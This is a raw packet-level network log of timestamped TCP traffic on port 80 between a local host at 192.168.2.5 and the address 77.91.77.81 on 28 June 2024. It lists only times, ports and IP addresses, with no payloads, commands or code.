Jun 28, 2024 13:36:13.328234911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328244925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328253984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328258991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328263998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328274012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328289032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328310013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328331947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328371048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328383923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328393936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328423977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328443050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.352655888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352669954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352679968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352689981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352700949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352711916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352747917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.352786064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.352847099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.352883101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369018078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369066000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369076014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369086981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369117975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369117975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369132996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369143963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369153023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369163990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369169950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369174004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369199991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369225979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369255066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369265079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369290113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369297028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369302988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369307995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369329929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369345903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369451046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369461060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369483948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369497061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369569063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369579077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369606018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369679928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369689941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369699955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369709015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369709969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369719982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369738102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369762897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.369765043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.369796038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.406966925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.406979084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.406994104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407005072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407015085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407047033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407058001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407067060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407093048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407104015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407107115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407124043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407147884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407175064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407205105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407378912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407390118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407398939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407407999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407409906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407418013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407423019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407428026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407432079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407445908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407455921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407464027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407465935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407476902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407481909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407486916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407504082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407520056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407619953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407629967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407639027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407649040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407650948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407658100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407668114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407672882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407700062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407772064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407782078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407795906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407799959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407805920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407815933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407824993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407834053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407835007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.407855034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.407886982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409013033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409056902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409059048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409069061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409090042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409104109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409107924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409123898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409138918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409154892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409171104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409181118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409190893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409199953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409215927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409233093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409329891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409341097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409349918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409359932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409368992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409369946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409379005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409388065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409389019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409404993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409423113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409456015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409465075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409473896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409483910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409488916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409503937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409528971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409533978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409575939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409576893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409588099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409598112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409605980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409609079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409631014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409655094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409662962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409672022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409681082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409691095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409696102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409723043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409837961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409847975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409856081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409864902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409868956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409874916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409888029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409895897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409897089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409907103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.409928083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.409945965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410031080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410043001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410052061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410062075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410062075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410072088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410082102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410082102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410093069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410101891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410106897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410125017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410141945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410160065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410172939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410192013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410207987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410355091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410365105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410377026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410384893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410388947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410399914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410399914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410409927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.410419941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.410446882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.439466000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439479113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439488888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439539909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439549923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439562082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439572096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.439580917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.439635038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453370094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453389883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453398943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453459978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453480005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453489065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453499079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453500986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453507900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453514099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453516960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453531981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453557014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453730106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453787088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453788042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453799009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453815937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453839064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453886032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453896999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453906059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453916073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.453922987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.453947067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.454058886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454068899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454085112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454091072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.454094887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454106092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454114914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454118013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.454128981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.454143047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.454164028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491139889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491184950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491202116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491213083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491230011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491240025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491250992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491266966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491297960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491312027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491312027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491334915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491363049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491405964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491475105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491509914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491544962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491555929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491575956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491590977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491599083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491610050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491619110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491631031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491657019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491735935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491745949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491755962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491765976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491767883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491796017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491882086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491892099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491900921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491909981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491915941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491919994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491929054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491939068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491949081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491959095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.491961002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491976976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.491991997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.492011070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492026091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492036104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492044926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492049932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.492077112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.492115021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492125988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492149115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.492189884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492198944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492208958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.492218018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.492247105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493333101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493366957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493377924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493383884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493410110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493464947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493474960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493484974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493494034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493496895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493504047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493526936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493552923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493572950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493583918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493592978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493603945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493603945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493623972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493649960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493683100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493699074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493709087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493716002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.493720055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.493733883 CEST	49706	80	192.168.2.5	77.91.77.81
